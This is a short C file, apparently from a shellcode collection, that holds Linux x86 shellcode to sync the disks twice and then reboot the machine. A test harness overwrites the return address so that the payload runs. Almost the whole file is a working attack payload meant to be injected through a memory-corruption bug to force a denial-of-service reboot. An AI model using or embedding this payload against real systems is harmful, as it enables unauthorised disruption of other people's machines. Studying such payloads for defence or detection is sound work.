Author: zillion
Email:  zillion@safemode.org
Homepage: https://www.safemode.org


Linux x86 shellcode that does a sync(),sync() and then reboot(). Exit()
was added in case the previous syscalls fail.


Filename: clean-reboot-shellcode.c



/*
 * This shellcode will do a sync() sync() reboot() and exit() if the code fails
 *
 * Written by zillion@safemode.org
 *
 */

char shellcode[] =
        "\xeb\x27\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\x5e\x31"
        "\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67"
        "\x45\x23\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff"
        "\xff";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}